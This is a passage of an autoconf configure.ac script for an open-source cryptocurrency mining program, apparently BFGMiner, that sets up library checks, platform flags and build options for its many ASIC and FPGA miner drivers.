up\n\tAC_CHECK_MEMBER([struct i2c_msg.len],[\n\t\tAC_DEFINE([NEED_LINUX_I2C_H],[1],[Defined if linux/i2c.h is needed to supplement linux/i2c-dev.h])\n\t],[\n\t\ttrue\n\t],[\n\t\tAC_INCLUDES_DEFAULT\n\t\t#include \n\t\t#include \n\t])\n],[\n\tAC_INCLUDES_DEFAULT\n\t#include \n])\n\n# Setuid\nAC_CHECK_HEADERS([pwd.h])\n\n# Check for chroot support\nAC_CHECK_FUNCS([chroot])\n\nAC_CHECK_FUNCS([sleep])\n\nAC_FUNC_ALLOCA\n\nlowllist=\ndriverlist=\nalgolist=\noptlist=\n\nhas_fpga=no\nhas_asic=no\nneed_binloader=no\nneed_dynclock=no\nneed_gc3355=no\nneed_linux_i2c_dev=no\nneed_lowl_vcom=no\nneed_lowlevel=no\nneed_lowl_ftdi=no\nneed_lowl_hid=no\nneed_lowl_mswin=no\nneed_lowl_pci=no\nneed_lowl_spi=no\nneed_lowl_usb=no\nneed_knc_asic=no\nneed_work2d=no\nhave_cygwin=false\nhave_win32=false\nhave_macho=false\nuse_udevrules=true\nhave_udevrules=false\nAUTOSCAN_CPPFLAGS=\"\"\nAUTOSCAN_LIBS=\"\"\nDLOPEN_FLAGS=\"-ldl\"\nWS2_LIBS=\"\"\nMM_LIBS=\"\"\nMATH_LIBS=\"-lm\"\nRT_LIBS=\"\"\n\ncase $target in\n amd64-* | x86_64-*)\n have_x86_32=false\n have_x86_64=true\n bitness=\"64\"\n ;;\n i386-* | i486-* | i586-* | i686-* | x86-*)\n have_x86_32=true\n have_x86_64=false\n bitness=\"32\"\n ;;\n *)\n have_x86_32=false\n have_x86_64=false\n ;;\nesac\n\ncase $target in\n *-*-mingw*)\n have_win32=true\n use_udevrules=false\n DLOPEN_FLAGS=\"\"\n WS2_LIBS=\"-lws2_32\"\n MM_LIBS=\"-lwinmm\"\n AC_DEFINE([_WIN32_WINNT], [0x0501], \"WinNT version for XP+ support\")\n AC_DEFINE([FD_SETSIZE], [4096], [Maximum sockets before fd_set overflows])\n ;;\n *-*-cygwin*)\n\thave_cygwin=true\n use_udevrules=false\n\t;;\n powerpc-*-darwin*)\n CFLAGS=\"$CFLAGS -faltivec\"\n\t\thave_macho=true\n use_udevrules=false\n ;;\n\t*-*-darwin*)\n\t\tLDFLAGS=\"$LDFLAGS -framework IOKit -framework CoreFoundation\"\n\t\thave_macho=true\n use_udevrules=false\n\t\t;;\nesac\n\n\nm4_define([BFG_INCLUDE],\n\tif test \"x$2\" = \"x\"; then\n\t\t$1=''\n\telse\n\t\t$1=\"[#]include <$2>\"\n\tfi\n)\n\nm4_define([BFG_PREPROC_IFELSE],\n\tBFG_INCLUDE([headerinclude], $2)\n\tAC_COMPILE_IFELSE([\n\t\tAC_LANG_PROGRAM([\n\t\t\t${headerinclude}\n\t\t], [\n\t\t\t#if !( $1 )\n\t\t\t#error \"$1 false in preprocessor\"\n\t\t\t#endif\n\t\t])\n\t],[$3],[$4])\n)\n\nm4_define([BFG_FIND_INCLUDE_PATH],[\n\tm4_pushdef([_rel_path],[$1])\n\tm4_pushdef([_header_file],[$2])\n\tm4_pushdef([_iffound],[$3])\n\tm4_pushdef([_ifnotfound],[$4])\n\tm4_pushdef([_includes],[$5])\n\tm4_pushdef([_result_var],[inclpath_[]patsubst(_header_file,[[./]],[_])])\n\tAC_CHECK_HEADER([_rel_path/_header_file],[\n\t\tAC_MSG_CHECKING([_header_file path])\n\t\t_result_var=`echo '[#]include <'\"_rel_path\"'/_header_file>' | ${CPP} -M - 2>/dev/null | ${SED} [-E -e ':a' -e '/\\\\$/!b b' -e N -e 's/\\\\\\n/ /' -e 't a' -e ':b' -e 's/^[^:]*:[[:space:]]*(([^[:space:]\\]|\\\\.)*[[:space:]])*(([^[:space:]\\]|\\\\.)*)(\\\\|\\\\\\\\|\\/)?]patsubst([_header_file],[\\.],[\\\\.])[([[:space:]].*)?$/\\3/' -e 't' -e d]`\n\t\tif test \"x$_result_var\" = \"x\"; then\n\t\t\tAC_MSG_RESULT([failed])\n\t\t\tAC_MSG_ERROR([Couldn't determine include path for _header_file])\n\t\telse\n\t\t\tAC_MSG_RESULT([$_result_var])\n\t\t\t_iffound\n\t\tfi\n\t],[\n\t\ttrue\n\t\t_ifnotfound\n\t],[\n\t\t_includes\n\t])\n\tm4_popdef([_rel_path],[_header_file],[_iffound],[_ifnotfound],[_result_var])\n])\n\nbfg_enableaction() {\n\t_var=$1\n\teval \"_missingdeps=\\\"\\$${_var}_missingdeps\\\"\"\n\tif test -n \"$_missingdeps\"; then\n\t\t_enableaction=\n\t\tfor _missingdep in $_missingdeps; do\n\t\t\teval \"_howto=\\\"\\$howto_${_missingdep}\\\"\"\n\t\t\tif test \"x$_howto\" = \"x\"; then\n\t\t\t\teval \"_label=\\\"\\${label_${_missingdep}-${_missingdep}}\\\"\"\n\t\t\t\t_howto=\"enable $_label\"\n\t\t\tfi\n\t\t\tif test \"$_howto\" != \"x\"; then\n\t\t\t\t_enableaction=\"$_enableaction; $_howto\"\n\t\t\tfi\n\t\tdone\n\t\t_enableaction=\"${_enableaction:2}\"\n\telse\n\t\teval \"_enableaction=\\\"\\$${_var}_enableaction\\\"\"\n\tfi\n\techo \"$_enableaction\"\n}\n\ndnl _BFG_AUTOITEM(list,driver,DriverName,dependency list,default:no/auto,CodeIfEnabled)\nm4_define([_BFG_AUTOITEM],[\n\tm4_pushdef([_list],[$1])\n\tm4_pushdef([_this_drv],m4_default([$2],m4_tolower([$3])))\n\tm4_pushdef([_this_drvuc],m4_toupper(_this_drv))\n\tm4_pushdef([_this_USE],USE_[]_this_drvuc)\n\tm4_pushdef([_this_name],[$3])\n\tm4_pushdef([_deplist],[$4])\n\tm4_pushdef([_this_default],[$5])\n\tm4_pushdef([_this_enablecode],[$6])\n\tm4_case(_list,\n\t\t[algo],[algolist=\"$algolist []_this_name/[]_this_USE\"],\n\t\t[driver],[driverlist=\"$driverlist []_this_drv/[]_this_USE\"],\n\t\t[]\n\t)\n\tlabel_[]_this_drvuc=\"[]_this_name\"\n\tAC_ARG_ENABLE([]_this_drv,\n\t\tm4_bmatch(_this_default,[.*no$],\n\t\t\tAC_HELP_STRING([--enable-[]_this_drv],[Compile support for ]_this_name[ (default disabled)]),\n\t\t\tAC_HELP_STRING([--disable-[]_this_drv],[Compile support for ]_this_name[ (default enabled)])),\n\t\t[[]_this_USE=$enableval],\n\t\t[[]_this_USE=[]_this_default]\n\t\t)\n\t[]_this_drv[]_opt=\n\tif test \"x$[]_this_USE\" = \"xno\"; then\n\t\ttrue\n\telse\n\t\tif test \"x$[]_this_USE\" = xauto; then\n\t\t\t_wasauto=yes\n\t\telse\n\t\t\t_wasauto=no\n\t\tfi\n\t\tif test \"x$[]_this_USE\" != xyes; then\n\t\t\tif test \"x$[]_this_USE\" != xauto; then\n\t\t\t\t[]_this_drv[]_opt=\"$[]_this_USE\"\n\t\t\tfi\n\t\t\t[]_this_USE=yes\n\t\tfi\n\t\tfor __drvdep in []m4_toupper(_deplist); do\n\t\t\teval \"_drvdep=\\\"\\$USE_$__drvdep\\\"\"\n\t\t\tif test \"x$_drvdep\" != \"xyes\"; then\n\t\t\t\t[]_this_USE[]_missingdeps=\"$[]_this_USE[]_missingdeps $__drvdep\"\n\t\t\t\t[]_this_USE=no\n\t\t\tfi\n\t\tdone\n\t\tif test \"x$[]_this_USE[]$_wasauto\" = xnono; then\n\t\t\t_enableaction=`bfg_enableaction []_this_USE`\n\t\t\tAC_MSG_ERROR([To enable []_this_name: $_enableaction])\n\t\tfi\n\tfi\n\tif test \"x$[]_this_USE\" = \"xyes\"; then\n\t\tAC_DEFINE([]_this_USE,[1],[Defined to 1 if []_this_name support is wanted])\n\t\t[]_this_enablecode\n\tfi\n\tAM_CONDITIONAL([]_this_USE,[test x$[]_this_USE = xyes])\n\tm4_popdef([_this_drv],[_this_drvuc],[_this_USE],[_this_name],[_deplist],[_this_default],[_this_enablecode])\n])\n\ndnl BFG_ALGO(AlgoName,default:no/yes,CodeIfEnabled)\nm4_define([BFG_ALGO],[\n\t_BFG_AUTOITEM([algo],,[$1],,[$2],[$3])\n])\n\ndnl BFG_DRIVER(driver,DriverName,dependency list,default:no/auto,CodeIfEnabled)\nm4_define([BFG_DRIVER],[\n\t_BFG_AUTOITEM([driver],[$1],[$2],[$3],$dd[$4],[$5])\n])\n\n\nAC_CHECK_DECL([HASH_ITER],[\n\tAC_CHECK_DECL([DL_CONCAT],[\n\t\ttrue\n\t],[\n\t\tAC_MSG_ERROR([Could not find DL_FOREACH_SAFE - install uthash-dev 1.9.4+])\n\t],[\n\t\t#include \n\t])\n],[\n\tAC_MSG_ERROR([Could not find HASH_ITER - please install uthash-dev 1.9.4+])\n],[\n\t#include \n])\n\n\nddyes=yes\nddauto=auto\nddno=no\nAC_ARG_ENABLE([other-drivers],\n\t[AC_HELP_STRING([--disable-other-drivers],[Build without drivers by default unless explicitly enabled])],\n\t[\n\t\tif test x$enableval = xyes; then\n\t\t\tddno=yes\n\t\telse\n\t\t\tddyes=no\n\t\t\tddauto=no\n\t\tfi\n\t]\n)\n\n\nbroad_udevrules=false\nAC_ARG_ENABLE([broad-udevrules],\n\t[AC_HELP_STRING([--enable-broad-udevrules],[Include udev rules for ambiguous devices which may not be miners])],\n\t[\n\t\tif test \"x$enableval\" = \"xyes\"; then\n\t\t\tbroad_udevrules=true\n\t\tfi\n\t]\n)\n\nuse_udevrules_group=true\nudevrules_group=\"video\"\nAC_ARG_WITH([udevrules-group],\n\t[AC_HELP_STRING([--with-udevrules-group=groupname],[Configure mining devices to be owned by a specific group (default `video')])],\n\t[\n\t\tif test \"x$withval\" = \"xno\"; then\n\t\t\tuse_udevrules_group=false\n\t\telse\n\t\t\tudevrules_group=\"$withval\"\n\t\tfi\n\t]\n)\nAM_CONDITIONAL([USE_UDEVRULES_GROUP], [$use_udevrules_group])\nAC_SUBST([UDEVRULES_GROUP], [$udevrules_group])\n\n\nBFG_ALGO(Keccak,no)\nBFG_ALGO(SHA256d,yes)\nBFG_ALGO(scrypt,no)\n\nlowl_pci=no\nif test \"x$ac_cv_header_sys_mman_h\" = \"xyes\"; then\n\tAC_ARG_WITH([uio],\n\t\t[AC_HELP_STRING([--without-uio],[Compile support for PCI devices via Linux UIO interface (default enabled)])],\n\t\t[uio=$withval],\n\t\t[uio=yes])\n\tAC_ARG_WITH([vfio],\n\t\t[AC_HELP_STRING([--without-vfio],[Compile support for PCI devices via Linux VFIO interface (default enabled)])],\n\t\t[vfio=$withval],\n\t\t[vfio=auto])\n\tif test \"x$vfio\" != \"xno\"; then\n\t\tAC_CHECK_HEADER([linux/vfio.h],[\n\t\t\tvfio=yes\n\t\t],[\n\t\t\tif test \"x$vfio\" = \"xyes\"; then\n\t\t\t\tAC_MSG_ERROR([Unable to find linux/vfio.h])\n\t\t\telif test \"x$uio\" = \"xyes\"; then\n\t\t\t\tAC_MSG_WARN([linux/vfio.h not found; PCI device support will require UIO (and root access)])\n\t\t\telse\n\t\t\t\tAC_MSG_WARN([linux/vfio.h not found; PCI device support will not be available])\n\t\t\tfi\n\t\t\tvfio=no\n\t\t])\n\tfi\n\tif test \"x$vfio$uio\" != xnono; then\n\t\tlowl_pci=yes\n\tfi\nfi\n\n\nBFG_DRIVER(cpumining,CPU mining,,no,[\n\tdriverlist=\"$driverlist cpu:asm/has_yasm\"\n\tdriverlist=\"$driverlist cpu:sse2/have_sse2\"\n])\ndriverlist=`echo \"${driverlist}\" | ${SED} -e 's/ cpumining/ cpu/'`\n\nBFG_DRIVER(,OpenCL,,no)\n\nm4_define([BFG_PTHREAD_FLAG_CHECK],\n\tAC_MSG_CHECKING([for $1])\n\tfor cflag in ' -pthread' ''; do\n\t\tfor lib in ' -lpthread' ' -lwinpthread' ''; do\n\t\t\tCFLAGS=\"${save_CFLAGS}${cflag}\"\n\t\t\tLIBS=\"${save_LIBS}${lib}\"\n\t\t\tAC_LINK_IFELSE([\n\t\t\t\tAC_LANG_PROGRAM([\n\t\t\t\t\t#include \n\t\t\t\t], [\n\t\t\t\t\tvoid *f = $1;\n\t\t\t\t])\n\t\t\t], [\n\t\t\t\tfound_pthread=true\n\t\t\t\tPTHREAD_FLAGS=\"${cflag}\"\n\t\t\t\tPTHREAD_LIBS=\"${lib}\"\n\t\t\t\tif test \"x${cflag}${lib}\" = \"x\"; then\n\t\t\t\t\tAC_MSG_RESULT([yes])\n\t\t\t\telse\n\t\t\t\t\tAC_MSG_RESULT([with${cflag}${lib}])\n\t\t\t\tfi\n\t\t\t\t$2\n\t\t\t\tbreak 2\n\t\t\t])\n\t\tdone\n\tdone\n\tif test \"x${found_pthread}\" = \"xfalse\"; then\n\t\tAC_MSG_RESULT([no])\n\tfi\n)\n\nsave_CFLAGS=\"${CFLAGS}\"\nsave_LIBS=\"${LIBS}\"\nfound_pthread=false\nBFG_PTHREAD_FLAG_CHECK([pthread_cancel],[\n\tAC_DEFINE([HAVE_PTHREAD_CANCEL], [1], [Define if you have a native pthread_cancel])\n])\nif test \"x${found_pthread}\" = \"xfalse\"; then\n\tBFG_PTHREAD_FLAG_CHECK([pthread_create])\n\tif test \"x${found_pthread}\" = \"xfalse\"; then\n\t\tAC_MSG_ERROR([Could not find pthread library - please install libpthread])\n\tfi\nfi\n# check for nanosleep here, since it is provided by winpthread\nAC_CHECK_FUNCS([nanosleep])\nCFLAGS=\"${save_CFLAGS}\"\nLIBS=\"${save_LIBS}\"\n\nPKG_CHECK_MODULES([JANSSON],[jansson],[\n\ttrue\n],[\n\tAC_MSG_CHECKING([for jansson in system-default locations])\n\tLIBS=\"$LIBS -ljansson\"\n\tAC_TRY_LINK([\n\t\t#include \n\t],[\n\t\tjson_object();\n\t],[\n\t\tAC_MSG_RESULT([found])\n\t\tJANSSON_LIBS=-ljansson\n\t],[\n\t\tAC_MSG_RESULT([not found])\n\t\tAC_MSG_ERROR([Could not find jansson library])\n\t])\n\tLIBS=\"${save_LIBS}\"\n])\nAC_SUBST(JANSSON_CFLAGS)\nAC_SUBST(JANSSON_LIBS)\n\nif test \"x$USE_OPENCL\" = xyes; then\n\tadl=\"yes\"\n\t\n\tif test \"x$USE_KECCAK\" = xyes; then\n\t\tAC_DEFINE([USE_OPENCL_FULLHEADER],[1],[Defined to 1 if OpenCL fullheader kernel interface is wanted])\n\tfi\n\t\ndriverlist=\"$driverlist opencl:sensors/with_sensors\"\nAC_ARG_WITH([sensors],\n\t[AC_HELP_STRING([--without-sensors],[Build with libsensors monitoring (default enabled)])],\n\t[true],[with_sensors=auto])\nif test \"x$USE_OPENCL\" != xyes; then\n\twith_sensors=no\nfi\nif test \"x$with_sensors\" != xno; then\n\tAC_MSG_CHECKING([for libsensors])\n\tsave_LIBS=\"${LIBS}\"\n\tLIBS=\"$LIBS -lsensors\"\n\tAC_LINK_IFELSE([AC_LANG_PROGRAM([\n\t\t#include \n\t\t#include \n\t],[\n\t\tconst sensors_chip_name *cn;\n\t\tcn = sensors_get_detected_chips(NULL, NULL);\n\t])],[\n\t\twith_sensors=yes\n\t\tsensors_LIBS=\"-lsensors\"\n\t\tAC_DEFINE([HAVE_SENSORS], [1], [Defined if libsensors was found])\n\t\tAC_MSG_RESULT([yes])\n\t],[\n\t\twith_sensors=no\n\t\tAC_MSG_RESULT([no])\n\t\tif ! $have_win32; then\n\t\t\twith_sensors_enableaction=\"install libsensors\"\n\t\tfi\n\t])\n\tLIBS=\"$save_LIBS\"\nfi\nAC_SUBST(sensors_LIBS)\n\ndriverlist=\"$driverlist opencl:adl/adl\"\nAC_ARG_ENABLE([adl],\n\t[AC_HELP_STRING([--disable-adl],[Build without ADL monitoring (default enabled)])],\n\t[adl=$enableval]\n\t)\n\n\tif test x$adl = xyes\n\t\tthen\n\t\t\tAC_DEFINE([HAVE_ADL], [1], [Defined if ADL headers were found])\n\t\tfi\nelse\n\tadl=\"no\"\nfi\n\nBFG_DRIVER(,AlcheMist,scrypt,no,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n])\n\nBFG_DRIVER(,BitForce,SHA256d,auto,[\n\tdriverlist=\"$driverlist bitforce:pci/need_lowl_pci\"\n\tif test \"x$lowl_pci\" = \"xyes\"; then\n\t\tneed_lowl_pci=yes\n\tfi\n\tneed_lowl_vcom=yes\n\tdriverlist=\"$driverlist bitforce:mswin/need_lowl_mswin\"\n\tif test x$have_win32 = xtrue; then\n\t\tneed_lowl_mswin=yes\n\tfi\n\thas_fpga=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(bitmain,Bitmain Antminer S* series,SHA256d,no,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n])\n\nBFG_DRIVER(,Icarus,SHA256d,auto,[\n\tneed_dynclock=yes\n\tneed_lowl_vcom=yes\n\thas_fpga=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\ndriverlist=\"$driverlist cairnsmore/USE_ICARUS erupter/USE_ICARUS antminer/USE_ICARUS compac/USE_ICARUS\"\n\nBFG_DRIVER(,DualMiner,Icarus,auto,[\n\tneed_gc3355=yes\n\t$broad_udevrules && have_udevrules=true\n])\n\nBFG_DRIVER(,ZeusMiner,scrypt Icarus,auto,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\t$broad_udevrules && have_udevrules=true\n])\n\nBFG_DRIVER(,GridSeed,scrypt,auto,[\n\tneed_gc3355=yes\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\t$broad_udevrules && have_udevrules=true\n])\n\nBFG_DRIVER(,Avalon,SHA256d,auto,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\t$broad_udevrules && have_udevrules=true\n])\n\nBFG_DRIVER(avalonmm,Avalon2/3,SHA256d,auto,[\n\tneed_lowl_vcom=yes\n\tneed_work2d=yes\n\thas_asic=yes\n\t$broad_udevrules && have_udevrules=true\n])\n\nBFG_DRIVER(,KnC,SHA256d,no,[\n\tneed_linux_i2c_dev=yes\n\tneed_lowl_spi=yes\n])\n\nBFG_DRIVER(kncasic,KnC gen 2,SHA256d,no,[\n\tkncasic_controller=\"$kncasic_opt\"\n\tif test \"x$kncasic_opt\" = \"x\"; then\n\t\tkncasic_controller=BBB\n\tfi\n\tneed_knc_asic=yes\n\tAC_DEFINE_UNQUOTED([CONTROLLER_BOARD_$kncasic_controller],[1])\n])\n\nAC_ARG_WITH([libmicrohttpd],\n\t[AC_HELP_STRING([--without-libmicrohttpd],[Compile support for libmicrohttpd getwork server (default enabled)])],\n\t[httpsrv=$withval],\n\t[httpsrv=$ddauto]\n)\nif test \"x$httpsrv\" != \"xno\"; then\n\tPKG_CHECK_MODULES([libmicrohttpd],[libmicrohttpd >= 0.9.5],[\n\t\tAC_DEFINE([USE_LIBMICROHTTPD],[1],[Defined to 1 if libmicrohttpd support is wanted])\n\t\thttpsrv=yes\n\t],[\n\t\thttpsrv=no\n\t\thttpsrv_enableaction=\"install libmicrohttpd 0.9.5+\"\n\t\tneed_bfg_driver_proxy_enableaction=\"install libmicrohttpd 0.9.5+\"\n\t\tif test \"x$httpsrv\" = \"xyes\"; then\n\t\t\tAC_MSG_ERROR([Unable to find libmicrohttpd 0.9.5+])\n\t\telse\n\t\t\tAC_MSG_WARN([libmicrohttpd 0.9.5+ not found; getwork proxy will be unavailable])\n\t\tfi\n\t])\nfi\nAM_CONDITIONAL([USE_LIBMICROHTTPD], [test x$httpsrv = xyes])\n\nAC_ARG_WITH([libevent],\n\t[AC_HELP_STRING([--without-libevent],[Compile support for libevent stratum server (default enabled)])],\n\t[libevent=$withval],\n\t[libevent=$ddauto]\n)\nif test \"x$libevent\" != \"xno\"; then\n\tPKG_CHECK_MODULES([libevent],[libevent >= 2.0.3],[\n\t\tPKG_CHECK_MODULES([libevent_pthreads],[libevent_pthreads],[\n\t\t\tlibevent_CFLAGS=\"${libevent_CFLAGS} ${libevent_pthreads_CFLAGS}\"\n\t\t\tlibevent_LIBS=\"${libevent_LIBS} ${libevent_pthreads_LIBS}\"\n\t\t],[true])\n\t\tAC_MSG_CHECKING([if libevent supports threading])\n\t\tBFG_PREPROC_IFELSE([EVTHREAD_USE_PTHREADS_IMPLEMENTED || EVTHREAD_USE_WINDOWS_THREADS_IMPLEMENTED],[event2/thread.h],[\n\t\t\tAC_MSG_RESULT([yes])\n\t\t\thave_libevent=yes\n\t\t],[\n\t\t\tAC_MSG_RESULT([no])\n\t\t])\n\t])\n\tif test \"x$have_libevent\" = \"xyes\"; then\n\t\tlibevent=yes\n\t\tneed_work2d=yes\n\t\tAC_DEFINE([USE_LIBEVENT],[1],[Defined to 1 if libevent support is wanted])\n\telse\n\t\tlibevent_enableaction=\"install libevent 2.0.3+\"\n\t\tif test -n \"$need_bfg_driver_proxy_enableaction\"; then\n\t\t\tneed_bfg_driver_proxy_enableaction=\"${need_bfg_driver_proxy_enableaction} (getwork) or libevent 2.0.3+ (stratum)\"\n\t\telse\n\t\t\tneed_bfg_driver_proxy_enableaction=\"install libevent 2.0.3+\"\n\t\tfi\n\t\tif test \"x$libevent\" = \"xyes\"; then\n\t\t\tAC_MSG_ERROR([Unable to find libevent 2.0.3+])\n\t\telse\n\t\t\tAC_MSG_WARN([libevent 2.0.3+ not found; stratum proxy will be unavailable])\n\t\tfi\n\t\tlibevent=no\n\tfi\nfi\nAM_CONDITIONAL([USE_LIBEVENT], [test x$libevent = xyes])\n\ndriverlist=\"$driverlist proxy/need_bfg_driver_proxy\"\nif test x$libevent$httpsrv = xnono; then\n\tneed_bfg_driver_proxy=no\nelse\n\tneed_bfg_driver_proxy=yes\n\tdriverlist=\"$driverlist proxy:getwork/httpsrv proxy:stratum/libevent\"\nfi\nAM_CONDITIONAL([NEED_BFG_DRIVER_PROXY], [test x$libevent$httpsrv != xnono])\n\nBFG_DRIVER(,ModMiner,SHA256d,auto,[\n\tneed_dynclock=yes\n\tneed_lowl_vcom=yes\n\tneed_binloader=yes\n\thas_fpga=yes\n\thave_udevrules=true\n])\n\nPKG_PROG_PKG_CONFIG()\n\nlabel_LIBUSB=libusb\nUSE_LIBUSB=no\nlibusb_include_path=\"\"\nAC_ARG_WITH([libusb],\n\t[AC_HELP_STRING([--without-libusb],[Compile using libusb (default enabled)])],\n\t[want_libusb=$withval],\n\t[want_libusb=auto]\n\t)\nif test \"x$want_libusb\" != \"xno\"; then\n\thowto_LIBUSB=\"install libusb 1.0+\"\nPKG_CHECK_MODULES([LIBUSB], [libusb-1.0],[\n\tUSE_LIBUSB=yes\n],[\n\tfor usb_lib in usb-1.0 usb; do\n\t\tAC_CHECK_LIB($usb_lib, libusb_init, [\n\t\t\tUSE_LIBUSB=yes\n\t\t\tbreak\n\t\t])\n\tdone\n\tif test \"x$USE_LIBUSB\" = xyes; then\n\t\t\tAC_CHECK_DECL([libusb_init],[\n\t\t\t\tLIBUSB_LIBS=\"-l$usb_lib\"\n\t\t\t],[\n\t\t\t\tBFG_FIND_INCLUDE_PATH([libusb-1.0],[libusb.h],[\n\t\t\t\t\tLIBUSB_LIBS=\"-l$usb_lib\"\n\t\t\t\t\tLIBUSB_CFLAGS=\"-I${inclpath_libusb_h}\"\n\t\t\t\t],[\n\t\t\t\t\tUSE_LIBUSB=no\n\t\t\t\t])\n\t\t\t],[#include ])\n\tfi\n])\nfi\n\nBFG_DRIVER(,CoinTerra,SHA256d libusb,auto,[\n\tneed_lowl_usb=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(,Klondike,SHA256d libusb,auto,[\n\tneed_lowl_usb=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(titan,KnC Titan,scrypt,no,[\n\tif test \"x$titan_opt\" = \"x\"; then\n\t\tif test \"x$USE_KNCASIC\" = \"xyes\"; then\n\t\t\ttitan_controller=\"$kncasic_controller\"\n\t\telse\n\t\t\ttitan_controller=RPI\n\t\tfi\n\telse\n\t\ttitan_controller=$titan_opt\n\t\tif test \"x$USE_KNCASIC\" = \"xyes\"; then\n\t\t\tif test \"x$kncasic_controller\" != \"$titan_controller\"; then\n\t\t\t\tAC_MSG_ERROR([Can only build kncasic and titan drivers together for the same controller (kncasic=$kncasic_controller vs titan=$titan_controller)])\n\t\t\tfi\n\t\tfi\n\tfi\n\tneed_knc_asic=yes\n\tAC_DEFINE_UNQUOTED([CONTROLLER_BOARD_$titan_controller],[1])\n\tAH_TEMPLATE([CONTROLLER_BOARD_BACKPLANE])\n\tAH_TEMPLATE([CONTROLLER_BOARD_BBB])\n\tAH_TEMPLATE([CONTROLLER_BOARD_RPI])\n])\n\nBFG_DRIVER(,X6500,SHA256d libusb,auto,[\n\tneed_dynclock=yes\n\tneed_lowl_ftdi=yes\n\tneed_binloader=yes\n\thas_fpga=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(,ZTEX,SHA256d libusb,auto,[\n\tneed_dynclock=yes\n\tneed_lowl_usb=yes\n\tneed_binloader=yes\n\thas_fpga=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(bifury,Bi*Fury,SHA256d,auto,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(,Bitfury,SHA256d,auto,[\n\tneed_lowl_spi=yes\n])\n\nBFG_DRIVER(,BFSB,SHA256d Bitfury,no)\n\nBFG_DRIVER(bigpic,Big Picture Mining USB,SHA256d Bitfury,auto,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(bfx,BFx2,SHA256d libusb Bitfury,auto,[\n\tneed_lowl_ftdi=yes\n\thas_asic=yes\n\t$broad_udevrules && have_udevrules=true\n])\n\nBFG_DRIVER(,DrillBit,SHA256d Bitfury,auto,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(,Twinfury,SHA256d Bitfury,auto,[\n need_lowl_vcom=yes\n has_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(,LittleFury,SHA256d Bitfury,auto,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\n\nlabel_HIDAPI=hidapi\nhowto_HIDAPI=\"install hidapi\"\nUSE_HIDAPI=no\nfor _hidapi_lib in hidapi hidapi-hidraw hidapi-libusb; do\n\tPKG_CHECK_MODULES([hidapi],[$_hidapi_lib],[\n\t\tUSE_HIDAPI=yes\n\t\tbreak\n\t],[\n\t\ttrue\n\t])\ndone\n\n\nBFG_DRIVER(,NanoFury,SHA256d hidapi Bitfury,auto,[\n\tneed_lowl_hid=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(hashbuster,HashBuster Nano,SHA256d hidapi Bitfury,auto,[\n\tneed_lowl_hid=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(hashbusterusb,HashBuster Micro,SHA256d libusb Bitfury,auto,[\n\tneed_lowl_usb=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(,HashFast,SHA256d,auto,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\nBFG_DRIVER(,JingTian,SHA256d,no,[\n\tneed_lowl_spi=yes\n\thas_asic=yes\n])\n\nBFG_DRIVER(,Metabank,SHA256d Bitfury,no)\n\nBFG_DRIVER(minergate,Spondoolies minergate interface,SHA256d,no,[\n\tneed_lowlevel=yes\n\thas_asic=yes\n])\n\nBFG_DRIVER(,Minion,SHA256d,no,[\n\tneed_lowl_spi=yes\n\thas_asic=yes\n])\n\nBFG_DRIVER(,RockMiner,SHA256d,auto,[\n\tneed_lowl_vcom=yes\n\thas_asic=yes\n\thave_udevrules=true\n])\n\n\nif test \"x$need_lowl_vcom\" != \"xno\"; then\n\t# Lowlevel VCOM doesn't need libusb, but it can take advantage of it to reattach drivers\n\tif test \"x$USE_LIBUSB\" != xno; then\n\t\tneed_lowl_usb=yes\n\telif test \"x$USE_LIBUSB$want_libusb\" = xnoyes; then\n\t\tAC_MSG_ERROR([Could not find libusb, which you specifically requested])\n\tfi\nfi\n\nlowllist=\"$lowllist ftdi/need_lowl_ftdi\"\nif test x$need_lowl_ftdi = xyes; then\n\tAC_DEFINE([NEED_BFG_LOWL_FTDI], [1], [Defined to 1 if lowlevel ftdi drivers are being used])\n\tneed_lowl_usb=yes\nfi\n\nlowllist=\"$lowllist spi/need_lowl_spi\"\nif test x$need_lowl_spi = xyes; then\n\tAC_DEFINE([NEED_BFG_LOWL_SPI], [1], [Defined to 1 if lowlevel SPI drivers are being used])\nfi\n\nif test \"x$need_lowl_usb\" = \"xno\"; then\n\tUSE_LIBUSB=no\n\tLIBUSB_LIBS=''\n\tLIBUSB_CFLAGS=''\nfi\nif test \"x$USE_LIBUSB\" = xyes; then\n\tAC_DEFINE([HAVE_LIBUSB], [1], [Define if you have libusb-1.0])\n\tsave_CFLAGS=\"$CFLAGS\"\n\tCFLAGS=\"$LIBUSB_CFLAGS $CFLAGS\"\n\tAC_CHECK_DECLS([libusb_error_name],[true],[true],[#include ])\n\tCFLAGS=\"$save_CFLAGS\"\nfi\n\n\nif test x$need_lowl_vcom = xyes; then\n\tAC_DEFINE([NEED_BFG_LOWL_VCOM], [1], [Defined to 1 if lowlevel VCOM drivers are being used])\n\tneed_lowlevel=yes\n\t\n\tif $have_win32; then\n\t\techo '#include ' 